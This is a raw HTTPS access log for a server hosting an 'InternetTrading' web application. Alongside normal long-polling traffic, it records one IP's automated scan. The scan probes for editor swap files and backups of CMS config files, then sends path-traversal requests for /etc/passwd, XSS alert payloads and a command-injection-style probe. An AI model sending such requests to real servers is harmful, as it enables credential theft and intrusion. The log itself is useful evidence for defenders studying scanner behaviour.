[09/Jan/2026:10:53:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927502246 HTTP/1.1" -
[09/Jan/2026:10:53:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.swo HTTP/1.1" 196
[09/Jan/2026:10:53:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927500152 HTTP/1.1" -
[09/Jan/2026:10:53:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/database.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/system.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //zb_users/c_option.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/class/config.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/config/config.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/sql_config.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/bbscache/config.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.yml.swo HTTP/1.1" 196
[09/Jan/2026:10:53:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.inc.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.old.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //manager/includes/config.inc.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.ini.swo HTTP/1.1" 196
[09/Jan/2026:10:53:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //conn.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //database.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db_config.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.inc.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/config.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //default.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //main.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //settings.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //header.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //footer.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //login.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //404.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-login.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927519191 HTTP/1.1" -
[09/Jan/2026:10:53:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.swo HTTP/1.1" 196
[09/Jan/2026:10:53:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927507386 HTTP/1.1" -
[09/Jan/2026:10:53:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:53:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:53:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.bak.swo HTTP/1.1" 196
[09/Jan/2026:10:53:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927505179 HTTP/1.1" -
[09/Jan/2026:10:54:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:54:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927524255 HTTP/1.1" -
[09/Jan/2026:10:54:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:54:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:54:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927512517 HTTP/1.1" -
[09/Jan/2026:10:54:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:54:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927510200 HTTP/1.1" -
[09/Jan/2026:10:54:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:54:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:54:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:54:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:54:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:54:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.sql.z HTTP/1.1" 196
[09/Jan/2026:10:54:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:54:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.war HTTP/1.1" 196
[09/Jan/2026:10:54:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.tar HTTP/1.1" 196
[09/Jan/2026:10:54:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.7z HTTP/1.1" 196
[09/Jan/2026:10:54:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.bz2 HTTP/1.1" 196
[09/Jan/2026:10:54:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.gz HTTP/1.1" 196
[09/Jan/2026:10:54:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.lz HTTP/1.1" 196
[09/Jan/2026:10:54:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.rar HTTP/1.1" 196
[09/Jan/2026:10:54:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:54:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:54:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.xz HTTP/1.1" 196
[09/Jan/2026:10:54:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.zip HTTP/1.1" 196
[09/Jan/2026:10:54:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.z HTTP/1.1" 196
[09/Jan/2026:10:54:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.Z HTTP/1.1" 196
[09/Jan/2026:10:54:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.tar.z HTTP/1.1" 196
[09/Jan/2026:10:54:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.tgz HTTP/1.1" 196
[09/Jan/2026:10:54:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.db HTTP/1.1" 196
[09/Jan/2026:10:54:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.jar HTTP/1.1" 196
[09/Jan/2026:10:54:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.sqlite HTTP/1.1" 196
[09/Jan/2026:10:54:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:54:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:54:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:54:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:54:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927529317 HTTP/1.1" -
[09/Jan/2026:10:54:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927517651 HTTP/1.1" -
[09/Jan/2026:10:54:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927515248 HTTP/1.1" -
[09/Jan/2026:10:54:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.swn HTTP/1.1" 196
[09/Jan/2026:10:54:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //site/default/settings.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //installation/configuration.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/etc/env.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //Application/Common/Conf/config.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/dev/common/config/main-local.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/prod/common/config/main-local.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //common/config/main-local.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //system/config/default.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //typo3conf/localconf.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_global.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_ucenter.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //textpattern/config.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/common.inc.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/database.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/system.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.inc.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.swn HTTP/1.1" 196
[09/Jan/2026:10:54:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/database.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/system.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //zb_users/c_option.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/class/config.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/config/config.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:54:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:54:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/sql_config.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:54:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:54:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:54:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/bbscache/config.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:54:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:54:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.yml.swn HTTP/1.1" 196
[09/Jan/2026:10:54:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:54:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.inc.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927534379 HTTP/1.1" -
[09/Jan/2026:10:54:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.old.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //manager/includes/config.inc.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.ini.swn HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927522777 HTTP/1.1" -
[09/Jan/2026:10:54:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927520301 HTTP/1.1" -
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mail/src/compose.php?mailbox=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?sl=../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpPgAdmin/index.php?_language=../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install/ HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.htm HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/thumb.php?dir=http\\..\\admin\\login\\login_check.php HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jira/secure/BrowseProject.jspa?id=%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3e HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /horde/admin/user.php HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Electron/download/windows/..%5C..%5C..%5CHttp%5Cwebroot%5Cconfig.json HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /WEB_VMS/LEVEL15/ HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%2F..%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php?s=/home/page/uploadImg HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tool/log/c.php?strip_slashes=printf&host=nl+c.php HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.html HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /components/com_ionfiles/download.php?file=../../../../../../../../etc/passwd&download=1 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_ccnewsletter&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_imagebrowser&folder=../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/system/cdscriptegrator/libraries/highslide/js/jsloader.php?files[]=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.html HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_extplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /components/com_rwcards/captcha/captcha_image.php?img=../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
